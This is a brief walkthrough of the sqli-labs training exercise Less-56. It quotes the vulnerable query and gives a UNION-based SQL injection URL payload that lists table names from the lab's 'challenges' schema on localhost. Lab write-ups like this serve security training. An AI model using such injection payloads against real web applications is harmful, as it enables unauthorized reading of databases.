Sqli-labs Less-56 union injected 14 chances

And less54.55 form is the same, we are concerned about sql statement

$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";

Therefore the example given payload

http://127.0.0.1/sql/Less-56/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+